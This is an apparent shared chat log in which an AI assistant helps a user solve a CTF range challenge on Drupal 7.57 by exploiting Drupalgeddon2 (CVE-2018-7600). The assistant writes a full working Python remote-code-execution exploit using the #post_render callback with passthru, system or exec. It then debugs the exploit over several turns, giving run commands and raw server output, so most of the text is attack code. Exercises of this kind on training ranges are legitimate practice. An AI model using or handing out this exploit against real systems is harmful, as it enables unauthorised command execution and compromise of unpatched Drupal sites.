> hbc2.haobachang.com:53473 这个靶场我复现不出来 题目描述是Drupa...
تم الإنشاء في: ٨ يوليو ٢٠٢٦
تمت الإجابة باستخدام GPT-5.5 Thinking بواسطة Chat01
تم الإنشاء في: ٨ يوليو ٢٠٢٦
تمت الإجابة باستخدام GPT-5.5 Thinking بواسطة Chat01
hbc2.haobachang.com:53473 这个靶场我复现不出来 题目描述是Drupal 7.57
2 人收藏
靶场信息
难度: 5级
已通关: 94人
通关获徽章
标签:
Drupal
打点
标识:
极客先锋
超级会员
描述:
Drupal 7.57,我相信你肯定可以Getshell吧
(默认情况,flag 路径为 /tmp/flag.txt)
这个题大概率不是“弱口令/后台上传”,而是 Drupalgeddon2:CVE-2018-7600。题目给的是 Drupal 7.57,而官方修复版本是 Drupal 7.58,所以 7.57 正好在漏洞范围内。Drupal 官方公告和 NVD 都确认:Drupal 7.x 低于 7.58 的版本存在远程代码执行风险。(Drupal.org)
核心利用链是:
/user/password 投毒表单缓存
→ 提取 form_build_id
→ 请求 /file/ajax/name/%23value/<form_build_id> 触发命令执行
你这个靶场不一定需要真正反弹 shell,直接命令执行读取:
bashcat /tmp/flag.txt
更稳。
下面给你一个只用于授权靶场的最小复现脚本,先跑 id,确认能执行后再读 flag。
pythonimport re import sys import requests requests.packages.urllib3.disable_warnings() if len(sys.argv) < 2: print("Usage: python3 d7_cve_2018_7600.py http://target:port/ [cmd]") sys.exit(1) target = sys.argv[1].rstrip("/") + "/" cmd = sys.argv[2] if len(sys.argv) >= 3 else "id" s = requests.Session() # 第一步:投毒 user/password 表单 params = { "q": "user/password", "name[#post_render][]": "passthru", "name[#type]": "markup", "name[#markup]": cmd, } data = { "form_id": "user_pass", "_triggering_element_name": "name", "_triggering_element_value": "", "op": "E-mail new Password", } r = s.post(target, params=params, data=data, timeout=15, verify=False) m = re.search(r'name="form_build_id" value="([^"]+)"', r.text) if not m: print("[-] 没有提取到 form_build_id") print("[*] 常见原因:目标不是 Drupal 7、路径不对、靶场没启动、WAF/代理改写、payload 被过滤") print("[*] 返回前 500 字符:") print(r.text[:500]) sys.exit(1) form_build_id = m.group(1) print("[+] form_build_id:", form_build_id) # 第二步:触发 AJAX 渲染执行命令 params2 = { "q": f"file/ajax/name/%23value/{form_build_id}" } data2 = { "form_build_id": form_build_id } r2 = s.post(target, params=params2, data=data2, timeout=15, verify=False) # Drupal AJAX 响应后面常带 settings JSON,前面通常就是命令输出 out = r2.text.split('[{"command":"settings"')[0] out = out.replace("\\u003C", "<").replace("\\u003E", ">").strip() print("[+] command output:") print(out)
运行方式:
bashpython3 d7_cve_2018_7600.py http://hbc2.haobachang.com:53473/ id
如果有输出,再读 flag:
bashpython3 d7_cve_2018_7600.py http://hbc2.haobachang.com:53473/ "cat /tmp/flag.txt"
你复现不出来时,最常见是这几个点:
bashhttp://hbc2.haobachang.com:53473/
不要只写:
bashhbc2.haobachang.com:53473
Drupal 7 用 /user/password,不是 /user/register
很多 Drupalgeddon2 工具默认走 Drupal 8 的 /user/register,Drupal 7.57 要用 password reset 表单。公开 PoC 也说明 Drupal 7 主要攻击 /user/password,触发参数是 triggering_element_name 和 #post_render。(GitHub)
# 必须编码成 %23
第二步路径里必须是:
textfile/ajax/name/%23value/<form_build_id>
不是:
textfile/ajax/name/#value/<form_build_id>
因为 # 在 URL 里会被浏览器/客户端当成 fragment,不会真正发给服务器。
bashid whoami pwd ls /tmp cat /tmp/flag.txt
确认命令执行即可。
如果你用上面脚本还失败,把运行后的返回前 500 字符贴出来,我可以帮你判断是路径问题、参数问题,还是靶场当前环境变了。
C:\Users\33519\Downloads>python exploit.py http://hbc2.haobachang.com:53473/ ls
[+] form_build_id: form-TbWQ4y6YPLEzx7NRqG_umryld5ePCOaK59LJLN-aFG4
[+] command output:
你现在这个输出:
bash[+] form_build_id: form-TbWQ4y6YPLEzx7NRqG_umryld5ePCOaK59LJLN-aFG4 [+] command output:
说明第一阶段已经成功,不是完全打不通。空输出常见有 4 种原因:
ls 当前目录本身没回显或输出被过滤;passthru;你先不要只测 ls,改测带明显分隔符的命令:
bashpython exploit.py http://hbc2.haobachang.com:53473/ "echo AAA; id; echo BBB"
再试:
bashpython exploit.py http://hbc2.haobachang.com:53473/ "echo AAA; whoami; pwd; echo BBB"
再直接读 flag:
bashpython exploit.py http://hbc2.haobachang.com:53473/ "cat /tmp/flag.txt"
如果还是空,把脚本最后几行改成下面这样,看原始响应:
pythonr2 = s.post(target, params=params2, data=data2, timeout=15, verify=False) print("[+] status code:", r2.status_code) print("[+] raw response first 3000 chars:") print(repr(r2.text[:3000])) out = r2.text.split('[{"command":"settings"')[0] out = out.replace("\\u003C", "<").replace("\\u003E", ">").strip() print("[+] parsed command output:") print(out)
然后重新跑:
bashpython exploit.py http://hbc2.haobachang.com:53473/ "echo AAA; id; echo BBB"
如果 raw response 里面能看到 AAA、uid=、BBB,说明只是解析输出的问题。
如果 raw response 里面完全没有 AAA,那就把第二阶段的 data2 改成这个版本:
pythondata2 = { "form_build_id": form_build_id, "form_id": "user_pass", "_triggering_element_name": "name" }
也就是第二次请求这里完整写成:
pythonparams2 = { "q": f"file/ajax/name/%23value/{form_build_id}" } data2 = { "form_build_id": form_build_id, "form_id": "user_pass", "_triggering_element_name": "name" } r2 = s.post(target, params=params2, data=data2, timeout=15, verify=False) print("[+] status code:", r2.status_code) print("[+] raw response first 3000 chars:") print(repr(r2.text[:3000])) out = r2.text.split('[{"command":"settings"')[0] out = out.replace("\\u003C", "<").replace("\\u003E", ">").strip() print("[+] command output:") print(out)
还有一个很关键的点:你在 Windows 里运行,带空格的命令一定要用英文双引号包起来。比如读 flag 应该这样:
bashpython exploit.py http://hbc2.haobachang.com:53473/ "cat /tmp/flag.txt"
不要这样:
bashpython exploit.py http://hbc2.haobachang.com:53473/ cat /tmp/flag.txt
后者脚本只会收到 cat,不会收到 /tmp/flag.txt。
如果 id、whoami 都空,但能拿到 form_build_id,可以再试这几个命令形式:
bashpython exploit.py http://hbc2.haobachang.com:53473/ "/usr/bin/id"
bashpython exploit.py http://hbc2.haobachang.com:53473/ "/bin/ls -la /tmp"
bashpython exploit.py http://hbc2.haobachang.com:53473/ "/bin/cat /tmp/flag.txt"
我更怀疑你这里不是漏洞没触发,而是输出被脚本截取方式吞掉了。先按上面加 repr(r2.text[:3000]),看原始返回最准确。
C:\Users\33519\Downloads>python exploit.py http://hbc2.haobachang.com:53473/ whoami
[+] form_build_id: form-TtpVzsk2OwZyTVPG25DT6KuHlRrHrpAJdNuUL9a5-ew
[+] status code: 200
[+] raw response first 3000 chars:
'[{"command":"settings","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"ncKHfiR8XYb-qyI0myp-CZfTLy5UU4gVDkzd0YjF4XM"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cdiv class=\u0022messages error\u0022\u003E\n\u003Ch2 class=\u0022element-invisible\u0022\u003EError message\u003C\/h2\u003E\n \u003Cul\u003E\n \u003Cli\u003E\u003Cem class=\u0022placeholder\u0022\u003ENotice\u003C\/em\u003E: Trying to access array offset on value of type int in \u003Cem class=\u0022placeholder\u0022\u003Eelement_children()\u003C\/em\u003E (line \u003Cem class=\u0022placeholder\u0022\u003E6594\u003C\/em\u003E of \u003Cem class=\u0022placeholder\u0022\u003E\/var\/www\/html\/includes\/common.inc\u003C\/em\u003E).\u003C\/li\u003E\n \u003Cli\u003E\u003Cem class=\u0022placeholder\u0022\u003ENotice\u003C\/em\u003E: Trying to access array offset on value of type int in \u003Cem class=\u0022placeholder\u0022\u003Eelement_children()\u003C\/em\u003E (line \u003Cem class=\u0022placeholder\u0022\u003E6594\u003C\/em\u003E of \u003Cem class=\u0022placeholder\u0022\u003E\/var\/www\/html\/includes\/common.inc\u003C\/em\u003E).\u003C\/li\u003E\n \u003Cli\u003E\u003Cem class=\u0022placeholder\u0022\u003ENotice\u003C\/em\u003E: Trying to access array offset on value of type int in \u003Cem class=\u0022placeholder\u0022\u003Eelement_children()\u003C\/em\u003E (line \u003Cem class=\u0022placeholder\u0022\u003E6594\u003C\/em\u003E of \u003Cem class=\u0022placeholder\u0022\u003E\/var\/www\/html\/includes\/common.inc\u003C\/em\u003E).\u003C\/li\u003E\n \u003Cli\u003E\u003Cem class=\u0022placeholder\u0022\u003ENotice\u003C\/em\u003E: Array to string conversion in \u003Cem class=\u0022placeholder\u0022\u003Edrupal_attributes()\u003C\/em\u003E (line \u003Cem class=\u0022placeholder\u0022\u003E2440\u003C\/em\u003E of \u003Cem class=\u0022placeholder\u0022\u003E\/var\/www\/html\/includes\/common.inc\u003C\/em\u003E).\u003C\/li\u003E\n \u003Cli\u003E\u003Cem class=\u0022placeholder\u0022\u003ENotice\u003C\/em\u003E: Trying to access array offset on value of type int in \u003Cem class=\u0022placeholder\u0022\u003Eelement_children()\u003C\/em\u003E (line \u003Cem class=\u0022placeholder\u0022\u003E6594\u003C\/em\u003E of \u003Cem class=\u0022placeholder\u0022\u003E\/var\/www\/html\/includes\/common.inc\u003C\/em\u003E).\u003C\/li\u003E\n \u003Cli\u003E\u003Cem class=\u0022placeholder\u0022\u003ENotice\u003C\/em\u003E: Trying to access array offset on value of type int in \u003Cem class=\u0022placeholder\u0022\u003Eelement_children()\u003C\/em\u003E (line \u003Cem class=\u0022placeholder\u0022\u003E6594\u003C\/em\u003E of \u003Cem class=\u0022placeholder\u0022\u003E\/var\/www\/html\/includes\/common.inc\u003C\/em\u003E).\u003C\/li\u003E\n \u003Cli\u003E\u003Cem class=\u0022placeholder\u0022\u003ENotice\u003C\/em\u003E: Trying to access array offset on value of type int in \u003Cem class=\u0022placeholder\u0022\'
[+] command output:
C:\Users\33519\Downloads>
你这次的结果很关键:
text[+] status code: 200 [+] raw response first 3000 chars: '[{"command":"settings"...},{"command":"insert"... Notice ... common.inc ...' [+] command output:
这说明:
第二阶段请求已经成功进入 Drupal AJAX 接口,但当前 payload 没有成功执行 whoami,或者执行输出没有被你当前脚本解析出来。
你现在的脚本里这一句很可能不适合当前返回格式:
pythonout = r2.text.split('[{"command":"settings"')[0]
因为你的原始响应一上来就是:
text[{"command":"settings", ...]
所以这一 split 会直接把输出截成空字符串。
你先把第二阶段输出解析部分改成下面这个版本,不要再用 split('[{"command":"settings"')。
pythonimport json import html import re r2 = s.post(target, params=params2, data=data2, timeout=15, verify=False) print("[+] status code:", r2.status_code) print("[+] raw response first 3000 chars:") print(repr(r2.text[:3000])) print("\n[+] decoded ajax data:") try: arr = json.loads(r2.text) for item in arr: if item.get("command") == "insert": data = item.get("data", "") data = html.unescape(data) data = data.replace("\\/", "/") # 去掉 HTML 标签,方便看真实文本 text = re.sub(r"<[^>]+>", "", data) text = html.unescape(text) print(text.strip()) except Exception as e: print("[-] JSON parse failed:", e) print(r2.text)
然后重新跑:
bashpython exploit.py http://hbc2.haobachang.com:53473/ "echo AAA; whoami; echo BBB"
如果 decoded ajax data 里面出现 AAA 或用户名,说明只是之前解析方式错了。
但从你贴出的 Notice 看,还有一种更可能的情况:这个环境对 passthru 型 payload 触发不稳定。你把第一阶段 payload 里的回调函数从 passthru 换成 system 试一下。
原来如果是:
python"name[#post_render][]": "passthru",
改成:
python"name[#post_render][]": "system",
也就是第一阶段参数改成:
pythonparams = { "q": "user/password", "name[#post_render][]": "system", "name[#type]": "markup", "name[#markup]": cmd, }
再跑:
bashpython exploit.py http://hbc2.haobachang.com:53473/ "id"
再跑:
bashpython exploit.py http://hbc2.haobachang.com:53473/ "cat /tmp/flag.txt"
如果 system 还是空,再试 exec:
pythonparams = { "q": "user/password", "name[#post_render][]": "exec", "name[#type]": "markup", "name[#markup]": cmd, }
不过 exec 通常只返回最后一行,不如 system / passthru 稳。
你现在这个情况,我建议你直接用下面这个调试版第一阶段参数:
pythonparams = { "q": "user/password", "name[#post_render][]": "system", "name[#type]": "markup", "name[#markup]": "echo __START__;" + cmd + ";echo __END__", }
然后命令这样跑:
bashpython exploit.py http://hbc2.haobachang.com:53473/ "whoami"
看返回中有没有:
text__START__ www-data __END__
另外你当前第二阶段 data2 建议先保持最简,不要加太多字段:
pythonparams2 = { "q": f"file/ajax/name/%23value/{form_build_id}" } data2 = { "form_build_id": form_build_id }
有时候你额外加:
python"form_id": "user_pass", "_triggering_element_name": "name"
反而会让 Drupal 重建表单时出现更多 Notice。
所以你现在按这个顺序排查:
看 decoded ajax data 里有没有输出。
passthru 改成 systempython"name[#post_render][]": "system"
bashpython exploit.py http://hbc2.haobachang.com:53473/ "echo AAA; id; echo BBB"
bashpython exploit.py http://hbc2.haobachang.com:53473/ "cat /tmp/flag.txt"
你这个不是“完全没打通”,而是已经打到 AJAX 触发阶段了,现在主要卡在 #post_render 回调没有稳定输出。先把 passthru 换成 system,成功概率会更高。